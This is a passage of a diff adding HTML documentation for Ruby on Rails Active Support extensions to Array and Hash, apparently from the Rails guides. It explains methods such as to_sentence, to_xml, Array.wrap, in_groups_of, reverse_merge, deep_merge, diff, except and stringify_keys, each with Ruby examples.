+<p>If a method expects a variable number of arguments and uses <tt>*</tt> in its declaration, however, such an options hash ends up being an item of the array of arguments, where kind of loses its role.</p>
+<p>In those cases, you may give an options hash a distinguished treatment with <tt>extract_options!</tt>. That method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise returns an empty hash.</p>
+<p>Let&#8217;s see for example the definition of the <tt>caches_action</tt> controller macro:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def caches_action(*actions)
+  return unless cache_configured?
+  options = actions.extract_options!
+  ...
+end
+</pre>
+</div>
+</notextile>
+
+<p>This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to <tt>extract_options!</tt> you obtain the options hash and remove it from <tt>actions</tt> in a simple and explicit way.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/array/extract_options.rb</tt>.</p></div>
+<h4 id="array-conversions">11.4 Conversions</h4>
+<h5 id="to_sentence">11.4.1 <tt>to_sentence</tt></h5>
+<p>The method <tt>to_sentence</tt> turns an array into a string containing a sentence that enumerates its items:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+%w().to_sentence                # =&gt; &quot;&quot;
+%w(Earth).to_sentence           # =&gt; &quot;Earth&quot;
+%w(Earth Wind).to_sentence      # =&gt; &quot;Earth and Wind&quot;
+%w(Earth Wind Fire).to_sentence # =&gt; &quot;Earth, Wind, and Fire&quot;
+</pre>
+</div>
+</notextile>
+
+<p>This method accepts three options:</p>
+<ul>
+	<li><tt>:two_words_connector</tt>: What is used for arrays of length 2. Default is &quot; and &quot;.</li>
+	<li><tt>:words_connector</tt>: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is &quot;, &quot;.</li>
+	<li><tt>:last_word_connector</tt>: What is used to join the last items of an array with 3 or more elements. Default is &quot;, and &quot;.</li>
+</ul>
+<p>The defaults for these options can be localised, their keys are:</p>
+<table>
+	<tr>
+		<th>Option                      </th>
+		<th>I18n key                                 </th>
+	</tr>
+	<tr>
+		<td> <tt>:two_words_connector</tt> </td>
+		<td> <tt>support.array.two_words_connector</tt> </td>
+	</tr>
+	<tr>
+		<td> <tt>:words_connector</tt>     </td>
+		<td> <tt>support.array.words_connector</tt>     </td>
+	</tr>
+	<tr>
+		<td> <tt>:last_word_connector</tt> </td>
+		<td> <tt>support.array.last_word_connector</tt> </td>
+	</tr>
+</table>
+<p>Options <tt>:connector</tt> and <tt>:skip_last_comma</tt> are deprecated.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/array/conversions.rb</tt>.</p></div>
+<h5 id="to_formatted_s">11.4.2 <tt>to_formatted_s</tt></h5>
+<p>The method <tt>to_formatted_s</tt> acts like <tt>to_s</tt> by default.</p>
+<p>If the array contains items that respond to <tt>id</tt>, however, it may be passed the symbol <tt>:db</tt> as argument. That&#8217;s typically used with collections of ARs, though technically any object in Ruby 1.8 responds to <tt>id</tt> indeed. Returned strings are:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[].to_formatted_s(:db)            # =&gt; &quot;null&quot;
+[user].to_formatted_s(:db)        # =&gt; &quot;8456&quot;
+invoice.lines.to_formatted_s(:db) # =&gt; &quot;23,567,556,12&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Integers in the example above are supposed to come from the respective calls to <tt>id</tt>.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/array/conversions.rb</tt>.</p></div>
+<h5 id="to_xml">11.4.3 <tt>to_xml</tt></h5>
+<p>The method <tt>to_xml</tt> returns a string containing an <span class="caps">XML</span> representation of its receiver:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Contributor.all(:limit =&gt; 2, :order =&gt; 'rank ASC').to_xml
+# =&gt;
+# &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
+# &lt;contributors type=&quot;array&quot;&gt;
+#   &lt;contributor&gt;
+#     &lt;id type=&quot;integer&quot;&gt;4356&lt;/id&gt;
+#     &lt;name&gt;Jeremy Kemper&lt;/name&gt;
+#     &lt;rank type=&quot;integer&quot;&gt;1&lt;/rank&gt;
+#     &lt;url-id&gt;jeremy-kemper&lt;/url-id&gt;
+#   &lt;/contributor&gt;
+#   &lt;contributor&gt;
+#     &lt;id type=&quot;integer&quot;&gt;4404&lt;/id&gt;
+#     &lt;name&gt;David Heinemeier Hansson&lt;/name&gt;
+#     &lt;rank type=&quot;integer&quot;&gt;2&lt;/rank&gt;
+#     &lt;url-id&gt;david-heinemeier-hansson&lt;/url-id&gt;
+#   &lt;/contributor&gt;
+# &lt;/contributors&gt;
+</pre>
+</div>
+</notextile>
+
+<p>To do so it sends <tt>to_xml</tt> to every item in turn, and collects the results under a root node. All items must respond to <tt>to_xml</tt>, an exception is raised otherwise.</p>
+<p>By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with <tt>is_a?</tt>) and they are not hashes. In the example above that&#8217;s &#8220;contributors&#8221;.</p>
+<p>If there&#8217;s any element that does not belong to the type of the first one the root node becomes &#8220;records&#8221;:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[Contributor.first, Commit.first].to_xml
+# =&gt;
+# &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
+# &lt;records type=&quot;array&quot;&gt;
+#   &lt;record&gt;
+#     &lt;id type=&quot;integer&quot;&gt;4583&lt;/id&gt;
+#     &lt;name&gt;Aaron Batalion&lt;/name&gt;
+#     &lt;rank type=&quot;integer&quot;&gt;53&lt;/rank&gt;
+#     &lt;url-id&gt;aaron-batalion&lt;/url-id&gt;
+#   &lt;/record&gt;
+#   &lt;record&gt;
+#     &lt;author&gt;Joshua Peek&lt;/author&gt;
+#     &lt;authored-timestamp type=&quot;datetime&quot;&gt;2009-09-02T16:44:36Z&lt;/authored-timestamp&gt;
+#     &lt;branch&gt;origin/master&lt;/branch&gt;
+#     &lt;committed-timestamp type=&quot;datetime&quot;&gt;2009-09-02T16:44:36Z&lt;/committed-timestamp&gt;
+#     &lt;committer&gt;Joshua Peek&lt;/committer&gt;
+#     &lt;git-show nil=&quot;true&quot;&gt;&lt;/git-show&gt;
+#     &lt;id type=&quot;integer&quot;&gt;190316&lt;/id&gt;
+#     &lt;imported-from-svn type=&quot;boolean&quot;&gt;false&lt;/imported-from-svn&gt;
+#     &lt;message&gt;Kill AMo observing wrap_with_notifications since ARes was only using it&lt;/message&gt;
+#     &lt;sha1&gt;723a47bfb3708f968821bc969a9a3fc873a3ed58&lt;/sha1&gt;
+#   &lt;/record&gt;
+# &lt;/records&gt;
+</pre>
+</div>
+</notextile>
+
+<p>If the receiver is an array of hashes the root element is by default also &#8220;records&#8221;:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[{:a =&gt; 1, :b =&gt; 2}, {:c =&gt; 3}].to_xml
+# =&gt;
+# &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
+# &lt;records type=&quot;array&quot;&gt;
+#   &lt;record&gt;
+#     &lt;b type=&quot;integer&quot;&gt;2&lt;/b&gt;
+#     &lt;a type=&quot;integer&quot;&gt;1&lt;/a&gt;
+#   &lt;/record&gt;
+#   &lt;record&gt;
+#     &lt;c type=&quot;integer&quot;&gt;3&lt;/c&gt;
+#   &lt;/record&gt;
+# &lt;/records&gt;
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>If the collection is empty the root element is by default &#8220;nil-classes&#8221;. That&#8217;s a gotcha, for example the root element of the list of contributors above would not be &#8220;contributors&#8221; if the collection was empty, but &#8220;nil-classes&#8221;. You may use the <tt>:root</tt> option to ensure a consistent root element.</p></div>
+<p>The name of children nodes is by default the name of the root node singularized. In the examples above we&#8217;ve seen &#8220;contributor&#8221; and &#8220;record&#8221;. The option <tt>:children</tt> allows you to set these node names.</p>
+<p>The default <span class="caps">XML</span> builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder via the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Contributor.all(:limit =&gt; 2, :order =&gt; 'rank ASC').to_xml(:skip_types =&gt; true)
+# =&gt;
+# &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
+# &lt;contributors&gt;
+#   &lt;contributor&gt;
+#     &lt;id&gt;4356&lt;/id&gt;
+#     &lt;name&gt;Jeremy Kemper&lt;/name&gt;
+#     &lt;rank&gt;1&lt;/rank&gt;
+#     &lt;url-id&gt;jeremy-kemper&lt;/url-id&gt;
+#   &lt;/contributor&gt;
+#   &lt;contributor&gt;
+#     &lt;id&gt;4404&lt;/id&gt;
+#     &lt;name&gt;David Heinemeier Hansson&lt;/name&gt;
+#     &lt;rank&gt;2&lt;/rank&gt;
+#     &lt;url-id&gt;david-heinemeier-hansson&lt;/url-id&gt;
+#   &lt;/contributor&gt;
+# &lt;/contributors&gt;
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/array/conversions.rb</tt>.</p></div>
+<h4 id="wrapping">11.5 Wrapping</h4>
+<p>The method <tt>Array.wrap</tt> wraps its argument in an array unless it is already an array (or array-like).</p>
+<p>Specifically:</p>
+<ul>
+	<li>If the argument is <tt>nil</tt> an empty list is returned.</li>
+	<li>Otherwise, if the argument responds to <tt>to_ary</tt> it is invoked, and its result returned.</li>
+	<li>Otherwise, returns an array with the argument as its single element.</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Array.wrap(nil)       # =&gt; []
+Array.wrap([1, 2, 3]) # =&gt; [1, 2, 3]
+Array.wrap(0)         # =&gt; [0]
+</pre>
+</div>
+</notextile>
+
+<p>This method is similar in purpose to <tt>Kernel#Array</tt>, but there are some differences:</p>
+<ul>
+	<li>If the argument responds to <tt>to_ary</tt> the method is invoked. <tt>Kernel#Array</tt> moves on to try <tt>to_a</tt> if the returned value is <tt>nil</tt>, but <tt>Arraw.wrap</tt> returns such a <tt>nil</tt> right away.</li>
+	<li>If the returned value from <tt>to_ary</tt> is neither <tt>nil</tt> nor an <tt>Array</tt> object, <tt>Kernel#Array</tt> raises an exception, while <tt>Array.wrap</tt> does not, it just returns the value.</li>
+	<li>It does not call <tt>to_a</tt> on the argument, though special-cases <tt>nil</tt> to return an empty array.</li>
+</ul>
+<p>The last point is particularly worth comparing for some enumerables:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Array.wrap(:foo =&gt; :bar) # =&gt; [{:foo =&gt; :bar}]
+Array(:foo =&gt; :bar)      # =&gt; [[:foo, :bar]]
+
+Array.wrap(&quot;foo\nbar&quot;)   # =&gt; [&quot;foo\nbar&quot;]
+Array(&quot;foo\nbar&quot;)        # =&gt; [&quot;foo\n&quot;, &quot;bar&quot;], in Ruby 1.8
+</pre>
+</div>
+</notextile>
+
+<p>There&#8217;s also a related idiom that uses the splat operator:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[*object]
+</pre>
+</div>
+</notextile>
+
+<p>which in Ruby 1.8 returns <tt>[nil]</tt> for <tt>nil</tt>, and calls to <tt>Array(object)</tt> otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)</p>
+<p>Thus, in this case the behavior is different for <tt>nil</tt>, and the differences with <tt>Kernel#Array</tt> explained above apply to the rest of <tt>object</tt>s.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/array/wrap.rb</tt>.</p></div>
+<h4 id="grouping">11.6 Grouping</h4>
+<h5 id="in_groups_of-number-fill_with-nil">11.6.1 <tt>in_groups_of(number, fill_with = nil)</tt></h5>
+<p>The method <tt>in_groups_of</tt> splits an array into consecutive groups of a certain size. It returns an array with the groups:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[1, 2, 3].in_groups_of(2) # =&gt; [[1, 2], [3, nil]]
+</pre>
+</div>
+</notextile>
+
+<p>or yields them in turn if a block is passed:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;% sample.in_groups_of(3) do |a, b, c| %&gt;
+  &lt;tr&gt;
+    &lt;td&gt;&lt;%=h a %&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;%=h b %&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;%=h c %&gt;&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The first example shows <tt>in_groups_of</tt> fills the last group with as many <tt>nil</tt> elements as needed to have the requested size. You can change this padding value using the second optional argument:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[1, 2, 3].in_groups_of(2, 0) # =&gt; [[1, 2], [3, 0]]
+</pre>
+</div>
+</notextile>
+
+<p>And you can tell the method not to fill the last group passing <tt>false</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[1, 2, 3].in_groups_of(2, false) # =&gt; [[1, 2], [3]]
+</pre>
+</div>
+</notextile>
+
+<p>As a consequence <tt>false</tt> can&#8217;t be a used as a padding value.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/array/grouping.rb</tt>.</p></div>
+<h5 id="in_groups-number-fill_with-nil">11.6.2 <tt>in_groups(number, fill_with = nil)</tt></h5>
+<p>The method <tt>in_groups</tt> splits an array into a certain number of groups. The method returns and array with the groups:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+%w(1 2 3 4 5 6 7).in_groups(3)
+# =&gt; [[&quot;1&quot;, &quot;2&quot;, &quot;3&quot;], [&quot;4&quot;, &quot;5&quot;, nil], [&quot;6&quot;, &quot;7&quot;, nil]]
+</pre>
+</div>
+</notextile>
+
+<p>or yields them in turn if a block is passed:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
+[&quot;1&quot;, &quot;2&quot;, &quot;3&quot;]
+[&quot;4&quot;, &quot;5&quot;, nil]
+[&quot;6&quot;, &quot;7&quot;, nil]
+</pre>
+</div>
+</notextile>
+
+<p>The examples above show that <tt>in_groups</tt> fills some groups with a trailing <tt>nil</tt> element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.</p>
+<p>You can change this padding value using the second optional argument:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+%w(1 2 3 4 5 6 7).in_groups(3, &quot;0&quot;)
+# =&gt; [[&quot;1&quot;, &quot;2&quot;, &quot;3&quot;], [&quot;4&quot;, &quot;5&quot;, &quot;0&quot;], [&quot;6&quot;, &quot;7&quot;, &quot;0&quot;]]
+</pre>
+</div>
+</notextile>
+
+<p>And you can tell the method not to fill the smaller groups passing <tt>false</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+%w(1 2 3 4 5 6 7).in_groups(3, false)
+# =&gt; [[&quot;1&quot;, &quot;2&quot;, &quot;3&quot;], [&quot;4&quot;, &quot;5&quot;], [&quot;6&quot;, &quot;7&quot;]]
+</pre>
+</div>
+</notextile>
+
+<p>As a consequence <tt>false</tt> can&#8217;t be a used as a padding value.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/array/grouping.rb</tt>.</p></div>
+<h5 id="split-value-nil">11.6.3 <tt>split(value = nil)</tt></h5>
+<p>The method <tt>split</tt> divides an array by a separator and returns the resulting chunks.</p>
+<p>If a block is passed the separators are those elements of the array for which the block returns true:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+(-5..5).to_a.split { |i| i.multiple_of?(4) }
+# =&gt; [[-5], [-3, -2, -1], [1, 2, 3], [5]]
+</pre>
+</div>
+</notextile>
+
+<p>Otherwise, the value received as argument, which defaults to <tt>nil</tt>, is the separator:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[0, 1, -5, 1, 1, &quot;foo&quot;, &quot;bar&quot;].split(1)
+# =&gt; [[0], [-5], [], [&quot;foo&quot;, &quot;bar&quot;]]
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>Observe in the previous example that consecutive separators result in empty arrays.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/array/grouping.rb</tt>.</p></div>
+<h3 id="extensions-to-hash">12 Extensions to <tt>Hash</tt></h3>
+<h4 id="hash-conversions">12.1 Conversions</h4>
+<h5 id="hash-to-xml">12.1.1 <tt>to_xml</tt></h5>
+<p>The method <tt>to_xml</tt> returns a string containing an <span class="caps">XML</span> representation of its receiver:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{&quot;foo&quot; =&gt; 1, &quot;bar&quot; =&gt; 2}.to_xml
+# =&gt;
+# &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
+# &lt;hash&gt;
+#   &lt;foo type=&quot;integer&quot;&gt;1&lt;/foo&gt;
+#   &lt;bar type=&quot;integer&quot;&gt;2&lt;/bar&gt;
+# &lt;/hash&gt;
+</pre>
+</div>
+</notextile>
+
+<p>To do so, the method loops over the pairs and builds nodes that depend on the <em>values</em>. Given a pair <tt>key</tt>, <tt>value</tt>:</p>
+<ul>
+	<li>If <tt>value</tt> is a hash there&#8217;s a recursive call with <tt>key</tt> as <tt>:root</tt>.</li>
+</ul>
+<ul>
+	<li>If <tt>value</tt> is an array there&#8217;s a recursive call with <tt>key</tt> as <tt>:root</tt>, and <tt>key</tt> singularized as <tt>:children</tt>.</li>
+</ul>
+<ul>
+	<li>If <tt>value</tt> is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the <tt>options</tt> hash as first argument with <tt>key</tt> as <tt>:root</tt>, and <tt>key</tt> singularized as second argument. Its return value becomes a new node.</li>
+</ul>
+<ul>
+	<li>If <tt>value</tt> responds to <tt>to_xml</tt> the method is invoked with <tt>key</tt> as <tt>:root</tt>.</li>
+</ul>
+<ul>
+	<li>Otherwise, a node with <tt>key</tt> as tag is created with a string representation of <tt>value</tt> as text node. If <tt>value</tt> is <tt>nil</tt> an attribute &#8220;nil&#8221; set to &#8220;true&#8221; is added. Unless the option <tt>:skip_types</tt> exists and is true, an attribute &#8220;type&#8221; is added as well according to the following mapping:</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+XML_TYPE_NAMES = {
+  &quot;Symbol&quot;     =&gt; &quot;symbol&quot;,
+  &quot;Fixnum&quot;     =&gt; &quot;integer&quot;,
+  &quot;Bignum&quot;     =&gt; &quot;integer&quot;,
+  &quot;BigDecimal&quot; =&gt; &quot;decimal&quot;,
+  &quot;Float&quot;      =&gt; &quot;float&quot;,
+  &quot;TrueClass&quot;  =&gt; &quot;boolean&quot;,
+  &quot;FalseClass&quot; =&gt; &quot;boolean&quot;,
+  &quot;Date&quot;       =&gt; &quot;date&quot;,
+  &quot;DateTime&quot;   =&gt; &quot;datetime&quot;,
+  &quot;Time&quot;       =&gt; &quot;datetime&quot;
+}
+</pre>
+</div>
+</notextile>
+
+<p>By default the root node is &#8220;hash&#8221;, but that&#8217;s configurable via the <tt>:root</tt> option.</p>
+<p>The default <span class="caps">XML</span> builder is a fresh instance of <tt>Builder::XmlMarkup</tt>. You can configure your own builder with the <tt>:builder</tt> option. The method also accepts options like <tt>:dasherize</tt> and friends, they are forwarded to the builder.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/hash/conversions.rb</tt>.</p></div>
+<h4 id="merging">12.2 Merging</h4>
+<p>Ruby has a built-in method <tt>Hash#merge</tt> that merges two hashes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{:a =&gt; 1, :b =&gt; 1}.merge(:a =&gt; 0, :c =&gt; 2)
+# =&gt; {:a =&gt; 0, :b =&gt; 1, :c =&gt; 2}
+</pre>
+</div>
+</notextile>
+
+<p>Active Support defines a few more ways of merging hashes that may be convenient.</p>
+<h5 id="reverse_merge-and-reverse_merge">12.2.1 <tt>reverse_merge</tt> and <tt>reverse_merge!</tt></h5>
+<p>In case of collision the key in the hash of the argument wins in <tt>merge</tt>. You can support option hashes with default values in a compact way with this idiom:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+options = {:length =&gt; 30, :omission =&gt; &quot;...&quot;}.merge(options)
+</pre>
+</div>
+</notextile>
+
+<p>Active Support defines <tt>reverse_merge</tt> in case you prefer this alternative notation:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+options = options.reverse_merge(:length =&gt; 30, :omission =&gt; &quot;...&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>And a bang version <tt>reverse_merge!</tt> that performs the merge in place:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+options.reverse_merge!(:length =&gt; 30, :omission =&gt; &quot;...&quot;)
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>Take into account that <tt>reverse_merge!</tt> may change the hash in the caller, which may or may not be a good idea.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/hash/reverse_merge.rb</tt>.</p></div>
+<h5 id="reverse_update">12.2.2 <tt>reverse_update</tt></h5>
+<p>The method <tt>reverse_update</tt> is an alias for <tt>reverse_merge!</tt>, explained above.</p>
+<div class='warning'><p>Note that <tt>reverse_update</tt> has no bang.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/hash/reverse_merge.rb</tt>.</p></div>
+<h5 id="deep_merge-and-deep_merge">12.2.3 <tt>deep_merge</tt> and <tt>deep_merge!</tt></h5>
+<p>As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins.</p>
+<p>Active Support defines <tt>Hash#deep_merge</tt>. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their <em>merge</em> becomes the value in the resulting hash:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{:a =&gt; {:b =&gt; 1}}.deep_merge(:a =&gt; {:c =&gt; 2})
+# =&gt; {:a =&gt; {:b =&gt; 1, :c =&gt; 2}}
+</pre>
+</div>
+</notextile>
+
+<p>The method <tt>deep_merge!</tt> performs a deep merge in place.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/hash/deep_merge.rb</tt>.</p></div>
+<h4 id="diffing">12.3 Diffing</h4>
+<p>The method <tt>diff</tt> returns a hash that represents a diff of the receiver and the argument with the following logic:</p>
+<ul>
+	<li>Pairs <tt>key</tt>, <tt>value</tt> that exist in both hashes do not belong to the diff hash.</li>
+</ul>
+<ul>
+	<li>If both hashes have <tt>key</tt>, but with different values, the pair in the receiver wins.</li>
+</ul>
+<ul>
+	<li>The rest is just merged.</li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{:a =&gt; 1}.diff(:a =&gt; 1)
+# =&gt; {}, first rule
+
+{:a =&gt; 1}.diff(:a =&gt; 2)
+# =&gt; {:a =&gt; 1}, second rule
+
+{:a =&gt; 1}.diff(:b =&gt; 2)
+# =&gt; {:a =&gt; 1, :b =&gt; 2}, third rule
+
+{:a =&gt; 1, :b =&gt; 2, :c =&gt; 3}.diff(:b =&gt; 1, :c =&gt; 3, :d =&gt; 4)
+# =&gt; {:a =&gt; 1, :b =&gt; 2, :d =&gt; 4}, all rules
+
+{}.diff({})        # =&gt; {}
+{:a =&gt; 1}.diff({}) # =&gt; {:a =&gt; 1}
+{}.diff(:a =&gt; 1)   # =&gt; {:a =&gt; 1}
+</pre>
+</div>
+</notextile>
+
+<p>An important property of this diff hash is that you can retrieve the original hash by applying <tt>diff</tt> twice:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+hash.diff(hash2).diff(hash2) == hash
+</pre>
+</div>
+</notextile>
+
+<p>Diffing hashes may be useful for error messages related to expected option hashes for example.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/hash/diff.rb</tt>.</p></div>
+<h4 id="working-with-keys">12.4 Working with Keys</h4>
+<h5 id="except-and-except">12.4.1 <tt>except</tt> and <tt>except!</tt></h5>
+<p>The method <tt>except</tt> returns a hash with the keys in the argument list removed, if present:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{:a =&gt; 1, :b =&gt; 2}.except(:a) # =&gt; {:b =&gt; 2}
+</pre>
+</div>
+</notextile>
+
+<p>If the receiver responds to <tt>convert_key</tt>, the method is called on each of the arguments. This allows <tt>except</tt> to play nice with hashes with indifferent access for instance:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{:a =&gt; 1}.with_indifferent_access.except(:a)  # =&gt; {}
+{:a =&gt; 1}.with_indifferent_access.except(&quot;a&quot;) # =&gt; {}
+</pre>
+</div>
+</notextile>
+
+<p>The method <tt>except</tt> may come in handy for example when you want to protect some parameter that can&#8217;t be globally protected with <tt>attr_protected</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+params[:account] = params[:account].except(:plan_id) unless admin?
+@account.update_attributes(params[:account])
+</pre>
+</div>
+</notextile>
+
+<p>There&#8217;s also the bang variant <tt>except!</tt> that removes keys in the very receiver.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/hash/except.rb</tt>.</p></div>
+<h5 id="stringify_keys-and-stringify_keys">12.4.2 <tt>stringify_keys</tt> and <tt>stringify_keys!</tt></h5>
+<p>The method <tt>stringify_keys</tt> returns a hash that has a stringified version of the keys in the receiver. It does so by sending <tt>to_s</tt> to them:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{nil =&gt; nil, 1 =&gt; 1, :a =&gt; :a}.stringify_keys
+# =&gt; {&quot;&quot; =&gt; nil, &quot;a&quot; =&gt; :a, &quot;1&quot; =&gt; 1}
+</pre>
+</div>
+</notextile>
+
+<p>The result in case of collision is undefined:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{&quot;a&quot; =&gt; 1, :a =&gt; 2}.stringify_keys
+# =&gt; {&quot;a&quot; =&gt; 2}, in my test, can't rely on this result though
+</pre>
+</div>
+</notextile>
+
+<p>This method may be useful for example to easily accept both symbols and strings as options. For instance <tt>ActionView::Helpers::FormHelper</tt> defines:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def to_check_box_tag(options = {}, checked_value = &quot;1&quot;, unchecked_value = &quot;0&quot;)
+  options = options.stringify_keys
+  options[&quot;type&quot;] = &quot;checkbox&quot;
+  ...
+end
+</pre>
+</div>
+</notextile>
+
+<p>The second line can safely access the &#8220;type&#8221; key, and let the user to pass either <tt>:type</tt> or &#8220;type&#8221;.</p>
+<p>There&#8217;s also the bang variant <tt>stringify_keys!</tt> that stringifies keys in the very receiver.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/hash/keys.rb</tt>.</p></div>
+<h5 id="symbolize_keys-and-symbolize_keys">12.4.3 <tt>symbolize_keys</tt> and <tt>symbolize_keys!</tt></h5>
+<p>The method <tt>symbolize_keys</tt> returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending <tt>to_sym</tt> to them:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{nil =&gt; nil, 1 =&gt; 1, &quot;a&quot; =&gt; &quot;a&quot;}.symbolize_keys
+# =&gt; {1 =&gt; 1, nil =&gt; nil, :a =&gt; &quot;a&quot;}
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>Note in the previous example only one key was symbolized.</p></div>
+<p>The result in case of collision is undefined:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{&quot;a&quot; =&gt; 1, :a =&gt; 2}.symbolize_keys
+# =&gt; {:a =&gt; 2}, in my test, can't rely on this result though
+</pre>
+</div>
+</notextile>
+
+<p>This method may be useful for example to easily accept both symbols and strings as options. For instance <tt>ActionController::UrlRewriter</tt> defines</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def rewrite_path(options)
+  options = options.symbolize_keys
+  options.update(options[:params].symbolize_keys) if options[:params]
+  ...
+end
+</pre>
+</div>
+</notextile>
+
+<p>The second line can safely access the <tt>:params</tt> key, and let the user to pass either <tt>:params</tt> or &#8220;params&#8221;.</p>
+<p>There&#8217;s also the bang variant <tt>symbolize_keys!</tt> that symbolizes keys in the very receiver.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/hash/keys.rb</tt>.</p></div>
+<h5 id="to_options-and-to_options">12.4.4 <tt>to_options</tt> and <tt>to_options!</tt></h5>
+<p>The methods <tt>to_options</tt> and <tt>to_options!</tt> are respectively aliases of <tt>symbolize_keys</tt> and <tt>symbolize_keys!</tt>.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/hash/keys.rb</tt>.</p></div>
+<h5 id="assert_valid_keys">12.4.5 <tt>assert_valid_keys</tt></h5>
